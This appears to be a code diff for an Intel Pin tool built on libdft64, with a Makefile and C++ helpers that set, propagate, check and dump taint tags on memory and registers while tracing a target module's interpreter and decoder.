TOOL_CXXFLAGS +=
ifeq ($(CXX),cl)
LIBDFT_INC_PATH = $(shell cygpath -w -m $(shell realpath ../lib/libdft64/src))
LIBDFT_PATH = $(shell cygpath -w -m $(shell realpath ../lib/libdft64/src/obj-intel64))
else
LIBDFT_INC_PATH = $(realpath ../lib/libdft64/src/)
LIBDFT_PATH = $(realpath ../lib/libdft64/src/obj-intel64/)
endif
endif
##############################################################
#
# Test recipes
#
##############################################################
###### Finalize sanity here ######
# This section contains recipes for tests other than the default.
# See makefile.default.rules for the default test rules.
# All tests in this section should adhere to the naming convention: <testname>.test
##############################################################
#
# Build rules
#
##############################################################
# This section contains the build rules for all binaries that have special build rules.
# See makefile.default.rules for the default build rules.
###### Special tools' build rules ######
LOGGING_FLAGS = -DNO_PINTOOL_LOG
ifeq ($(CXX),cl)
TOOL_CXXFLAGS += $(LOGGING_FLAGS) /I$(LIBDFT_INC_PATH)
else
TOOL_CXXFLAGS += $(LOGGING_FLAGS) -I$(LIBDFT_INC_PATH) -L$(LIBDFT_PATH)
endif
ifeq ($(LINKER),link)
TOOL_LIBS += /LIBPATH:$(LIBDFT_PATH) libdft.lib
else
TOOL_LIBS += -L$(LIBDFT_PATH) -ldft
endif
# INPUT_FILE=cur_input
# test_mini: $(OBJDIR)/track$(PINTOOL_SUFFIX) ${OBJDIR}/mini_test$(EXE_SUFFIX)
# $(PIN) -t $< -- $(OBJDIR)mini_test$(EXE_SUFFIX) ${INPUT_FILE}
# Build the intermediate object file.
$(OBJDIR)config$(OBJ_SUFFIX): config.cpp config.h
$(CC) $(TOOL_CXXFLAGS) $(COMP_OBJ)$@ $<
$(OBJDIR)handler$(OBJ_SUFFIX): handler.cpp handler.h
$(CC) $(TOOL_CXXFLAGS) $(COMP_OBJ)$@ $<
$(OBJDIR)log$(OBJ_SUFFIX): log.cpp log.h
$(CC) $(TOOL_CXXFLAGS) $(COMP_OBJ)$@ $<
$(OBJDIR)print$(OBJ_SUFFIX): print.cpp print.h
$(CC) $(TOOL_CXXFLAGS) $(COMP_OBJ)$@ $<
$(OBJDIR)ptr_taint$(OBJ_SUFFIX): ptr_taint.cpp ptr_taint.h
$(CC) $(TOOL_CXXFLAGS) $(COMP_OBJ)$@ $<
$(OBJDIR)util$(OBJ_SUFFIX): util.cpp util.h
$(CC) $(TOOL_CXXFLAGS) $(COMP_OBJ)$@ $<
# $(OBJDIR)SymTableDetector$(OBJ_SUFFIX): SymTableDetector.cpp
$(OBJDIR)Tracer$(OBJ_SUFFIX): Tracer.cpp Tracer.h
$(CC) $(TOOL_CXXFLAGS) $(COMP_OBJ)$@ $<
# Build the tool as a dll (shared object).
$(OBJDIR)Tracer$(PINTOOL_SUFFIX): $(OBJDIR)Tracer$(OBJ_SUFFIX) $(OBJDIR)config$(OBJ_SUFFIX) $(OBJDIR)handler$(OBJ_SUFFIX) $(OBJDIR)log$(OBJ_SUFFIX) $(OBJDIR)print$(OBJ_SUFFIX) $(OBJDIR)ptr_taint$(OBJ_SUFFIX) $(OBJDIR)util$(OBJ_SUFFIX)
$(LINKER) $(TOOL_LDFLAGS_NOOPT) $(LINK_EXE)$@ $(^:%.h=) $(TOOL_LPATHS) $(TOOL_LIBS)
+11
View File
@@ -0,0 +1,11 @@
#include "print.h"
void print_config_string(std::string config_string) {
std::cout << "[+] Config string: " << std::endl << config_string << std::endl;
}
void print_config(Config config) {
std::cout << "[+] Target module name: " << config.target_module_name << std::endl;
std::cout << "[+] Interp function offset: " << (void *)config.interp_func_offset << std::endl;
std::cout << "[+] Decoder offset: " << (void *)config.decoder_offset << std::endl;
}
+10
View File
@@ -0,0 +1,10 @@
#ifndef _TRACER_BJJ_PRINT_H_
#define _TRACER_BJJ_PRINT_H_
#include "config.h"
#include "common.h"
void print_config_string(std::string config_string);
void print_config(Config config);
#endif // _TRACER_BJJ_PRINT_H_
+54
View File
@@ -0,0 +1,54 @@
#include "ptr_taint.h"
void PIN_FAST_ANALYSIS_CALL hdlr_m2r_xfer_deref_before(THREADID tid,
ADDRINT src,
uint32_t src_base) {
tag_t src_tag, dst_tag;
tag_t deref_ptr_tag, deref_dst_tag;
deref_ptr_tag = tag_alloc<tag_t>(10000);
deref_dst_tag = tag_alloc<tag_t>(20000);
for (size_t i = 0; i < 8; i++) {
src_tag = RTAG[src_base][i];
RTAG[src_base][i] = tag_combine(src_tag, deref_ptr_tag);
dst_tag = MTAG(src + i);
tagmap_setb(src + i, tag_combine(dst_tag, deref_dst_tag));
}
}
void PIN_FAST_ANALYSIS_CALL hdlr_m2r_xfer_deref_after(THREADID tid,
ADDRINT src,
uint32_t src_base) {
tag_t src_tag, dst_tag;
tag_t deref_ptr_tag, deref_dst_tag;
deref_ptr_tag = tag_alloc<tag_t>(10000);
deref_dst_tag = tag_alloc<tag_t>(20000);
for (size_t i = 0; i < 8; i++) {
src_tag = RTAG[src_base][i];
RTAG[src_base][i] = tag_combine(src_tag, deref_ptr_tag);
dst_tag = MTAG(src + i);
tagmap_setb(src + i, tag_combine(dst_tag, deref_dst_tag));
}
}
void PIN_FAST_ANALYSIS_CALL hdlr_r2m_xfer_deref_before(THREADID tid,
ADDRINT dst,
uint32_t dst_base) {
tag_t src_tag, dst_tag;
tag_t deref_ptr_tag, deref_dst_tag;
deref_ptr_tag = tag_alloc<tag_t>(10000);
deref_dst_tag = tag_alloc<tag_t>(20000);
for (size_t i = 0; i < 8; i++) {
src_tag = RTAG[dst_base][i];
RTAG[dst_base][i] = tag_combine(src_tag, deref_ptr_tag);
dst_tag = MTAG(dst + i);
tagmap_setb(dst + i, tag_combine(dst_tag, deref_dst_tag));
}
}
+12
View File
@@ -0,0 +1,12 @@
#ifndef _TRACER_BJJ_PTR_TAINT_H_
#define _TRACER_BJJ_PTR_TAINT_H_
#include "common.h"
#include "rtag_helper.h"
#include "tagmap_helper.h"
void PIN_FAST_ANALYSIS_CALL hdlr_m2r_xfer_deref_before(THREADID tid, ADDRINT src, uint32_t src_base);
void PIN_FAST_ANALYSIS_CALL hdlr_m2r_xfer_deref_after(THREADID tid, ADDRINT src, uint32_t src_base);
void PIN_FAST_ANALYSIS_CALL hdlr_r2m_xfer_deref_before(THREADID tid, ADDRINT dst, uint32_t dst_base);
#endif // _TRACER_BJJ_PTR_TAINT_H_
+48
View File
@@ -0,0 +1,48 @@
#ifndef _SYMTABLEDETECTOR_SRC_RTAG_HELPER_H_
#define _SYMTABLEDETECTOR_SRC_RTAG_HELPER_H_
#include "pin.H"
#include "ins_helper.h"
#include <stdio.h>
#include <iostream>
extern thread_ctx_t *threads_ctx;
// REG general_regs[] = { REG_RDI, REG_EDI, REG_DI, REG_DIL, REG_RSI, REG_ESI, REG_SI, REG_SIL, REG_RBP, REG_EBP, REG_BP, REG_BPL, REG_RSP, REG_ESP, REG_SP, REG_SPL, REG_RAX, REG_EAX, REG_AX, REG_AH, REG_AL, REG_RBX, REG_EBX, REG_BX, REG_BH, REG_BL, REG_RCX, REG_ECX, REG_CX, REG_CH, REG_CL, REG_RDX, REG_EDX, REG_DX, REG_DH, REG_DL, REG_R8, REG_R8D, REG_R8W, REG_R8B, REG_R9, REG_R9D, REG_R9W, REG_R9B, REG_R10, REG_R10D, REG_R10W, REG_R10B, REG_R11, REG_R11D, REG_R11W, REG_R11B, REG_R12, REG_R12D, REG_R12W, REG_R12B, REG_R13, REG_R13D, REG_R13W, REG_R13B, REG_R14, REG_R14D, REG_R14W, REG_R14B, REG_R15, REG_R15D, REG_R15W, REG_R15B };
static const REG gr64[] = { REG_RDI, REG_RSI, REG_RBP, REG_RSP, REG_RAX, REG_RBX, REG_RCX, REG_RDX, REG_R8, REG_R9, REG_R10, REG_R11, REG_R12, REG_R13, REG_R14, REG_R15 };
inline void _print_rtag_gr64(std::ostream *out, THREADID tid, REG reg, std::string header) {
tag_t tag;
for (size_t pos = 0; pos < 8; pos++) {
tag = RTAG[REG_INDX(reg)][pos];
if (tag)
*out << header << "tid: " << tid << " , RTAG[" << REG_StringShort(reg) << "][" << std::dec << 8 * pos << "-" << 8 * (pos + 1) - 1 << "]: " << tag_sprint(tag) << std::endl;
}
}
inline void print_rtag_gr64(std::ostream *out, THREADID tid, REG reg) {
_print_rtag_gr64(out, tid, reg, "");
}
inline void print_rtag_gr64(std::ostream *out, THREADID tid, REG reg, std::string header) {
_print_rtag_gr64(out, tid, reg, header);
}
inline void _rtag_explore(std::ostream *out, THREADID tid) {
*out << "[explore] Dumping all tags in the general purpose registers" << std::endl;
for (size_t reg_idx = 0; reg_idx < sizeof(gr64)/sizeof(gr64[0]); reg_idx++) {
print_rtag_gr64(out, tid, gr64[reg_idx], "[explore]:");
}
}
inline void rtag_explore(THREADID tid) {
_rtag_explore(&std::cout, tid);
}
inline void rtag_explore(std::ostream *out, THREADID tid) {
_rtag_explore(out, tid);
}
#endif // _SYMTABLEDETECTOR_SRC_RTAG_HELPER_H_
+167
View File
@@ -0,0 +1,167 @@
#ifndef _TC_TAGMAP_H_
#define _TC_TAGMAP_H_
#include "debug.h"
#include "libdft_api.h"
#include "pin.H"
#include "tagmap.h"
#include <stdio.h>
#include <iostream>
#define DEBUG_INFO 1
#define EXCLUDE_KERNEL 1
#define KERNEL_BASE 0xffffffff00000000
#define FORMAT_QUERY_CHECKTAINT "[%[a-zA-Z0-9_]][query][check taint] addr: 0x%llx, size: %llu"
#define FORMAT_QUERY_SETTAINT "[%[a-zA-Z0-9_]][query][set taint] addr: 0x%llx, size: %llu, lb: %d"
#define FORMAT_QUERY_FORCETAINT "[%[a-zA-Z0-9_]][query][force taint] src addr: 0x%llx, dst addr: 0x%llx, src size: %llu, dst size: %llu\n"
extern tag_dir_t tag_dir;
inline void _print_mtag(std::ostream *out, tag_t tag, ADDRINT addr, std::string header) {
uint8_t val;
size_t nbytes;
if (EXCLUDE_KERNEL && addr >= KERNEL_BASE) return;
nbytes = PIN_SafeCopy(&val, (void *)addr, 1);
*out << "trace: memtaint, addr: "
<< (void *)addr
<< ", tag: "
<< tag_sprint(tag);
if (nbytes != 0)
*out << ", byte: 0x"
<< std::hex << std::setfill('0') << std::setw(2)
<< (uint32_t)val
<< ", char: "
<< std::dec
<< val
<< std::endl;
else
*out << ", not mapped" << std::endl;
}
inline void print_mtag(std::ostream *out, tag_t tag, ADDRINT addr) {
_print_mtag(out, tag, addr, "");
}
inline void print_mtag(std::ostream *out, tag_t tag, ADDRINT addr, std::string header) {
_print_mtag(out, tag, addr, header);
}
inline void _tagmap_explore(std::ostream *out) {
tag_table_t *table;
tag_page_t *page;
tag_t tag;
ADDRINT addr;
if (EXCLUDE_KERNEL)
*out << "[explore] Dumping all tags in the tagmap except kernel memory regions" << std::endl;
else
*out << "[explore] Dumping all tags in the tagmap" << std::endl;
for (uint64_t i = 0; i < TOP_DIR_SZ; i++) {
if (tag_dir.table[i]) {
table = tag_dir.table[i];
for (uint64_t j = 0; j < PAGETABLE_SZ; j++) {
if ((*table).page[j]) {
page = (*table).page[j];
if (page != NULL) {
for (uint64_t k = 0; k < PAGE_SIZE; k++) {
tag = (*page).tag[k];
if (tag) {
addr = (i << PAGETABLE_BITS) + (j << PAGE_BITS) + k;
print_mtag(out, tag, addr, "[explore]:");
}
}
}
}
}
}
}
}
inline void tagmap_explore() {
_tagmap_explore(&std::cout);
}
inline void tagmap_explore(std::ostream *out) {
_tagmap_explore(out);
}
inline void tagmap_force_propagation(const char *fname, ADDRINT src, ADDRINT dst, size_t src_size, size_t dst_size) {
if (src_size == dst_size) {
// simply propagate tags byte-by-byte
for (uint64_t i = 0; i < src_size; i++) {
tag_t t = tagmap_getb(src + i);
tagmap_setb(dst + i, t);
LOGD( "[%s][force propagation]:tags[%p]: %s, dst: %p\n", fname, (void *)(src + i), tag_sprint(tagmap_getb(src+i)).c_str(), (void *)(dst + i));
}
} else {
// combine all the tags of src
tag_t t = tagmap_getn(src, src_size);
// add the marged tags to dst
for (uint64_t i = 0; i < dst_size; i++) {
tagmap_setb(dst + i, t);
LOGD( "[%s][force propagation]:tags[%p-%p]: %s, dst: %p\n", fname, (void *)(src), (void *)(src + src_size), tag_sprint(t).c_str(), (void *)(dst + i));
}
}
}
inline void tagmap_set_taint(const char *fname, ADDRINT addr, size_t size, int color) {
LOGD( "[%s][debug] val: %d\n", fname, *(int32_t *)addr);
LOGD( "[%s][debug] size: %ld\n", fname, size);
for (uint64_t i = 0; i < size; i++) {
tag_t t = tag_alloc<tag_t>(color + (int)i);
tagmap_setb(addr + i, t);
LOGD( "[%s][set taint]:tags[%p]: %s\n", fname, (void *)(addr + i),
tag_sprint(tagmap_getb(addr + i)).c_str());
}
}
inline void tagmap_check_taint(const char *fname, ADDRINT addr, size_t size) {
LOGD( "[%s][debug] addr: %p\n", fname, (char *)addr);
LOGD( "[%s][debug] val: %s\n", fname, (char *)addr);
LOGD( "[%s][debug] size: %ld\n", fname, size);
for (uint64_t i = 0; i < size; i++) {
LOGD( "[%s][check taint]:tags[%p]: %s\n", fname, (void *)(addr + i),
tag_sprint(tagmap_getb(addr + i)).c_str());
}
}
inline bool tagmap_detect_undertaint(const char *fname, ADDRINT addr, size_t size, double threshold) {
tagmap_check_taint(fname, addr, size);
uint64_t taint_count = 0;
for (uint64_t i = 0; i < size; i++)
if (tagmap_getb(addr + i) > 0) taint_count++;
LOGD( "[%s][debug] size: %ld\n", fname, size);
LOGD( "[%s][debug] taint_count: %ld\n", fname, taint_count);
return ((double)taint_count / (double)size) < threshold;
}
inline void tagmap_process_query(char *buf) {
char fname[128];
ADDRINT addr;
ADDRINT src;
ADDRINT dst;
size_t size;
size_t src_size;
size_t dst_size;
int color;
if (sscanf((const char *)buf, FORMAT_QUERY_SETTAINT, fname, &addr, &size, &color) == 4) {
tagmap_set_taint(fname, addr, size, color);
} else if (sscanf((const char *)buf, FORMAT_QUERY_CHECKTAINT, fname, &addr, &size) == 3) {
tagmap_check_taint(fname, addr, size);
} else if (sscanf((const char *)buf, FORMAT_QUERY_FORCETAINT, fname, &src, &dst, &src_size, &dst_size) == 5) {
tagmap_force_propagation(fname, src, dst, src_size, dst_size);
} else {
LOGD( "%s\n", buf);
}
}
#endif // _TC_TAGMAP_H_
+14
View File
@@ -0,0 +1,14 @@
#include "util.h"
std::string read_file(std::string file_name) {
std::ifstream f(file_name.c_str());
if (f.bad()) {
return "";
}
std::ostringstream sstr;
sstr << f.rdbuf();
return sstr.str();
}
+8
View File
@@ -0,0 +1,8 @@
#ifndef _TRACER_BJJ_UTIL_H_
#define _TRACER_BJJ_UTIL_H_
#include "common.h"
std::string read_file(std::string file_name);
#endif // _TRACER_BJJ_UTIL_H_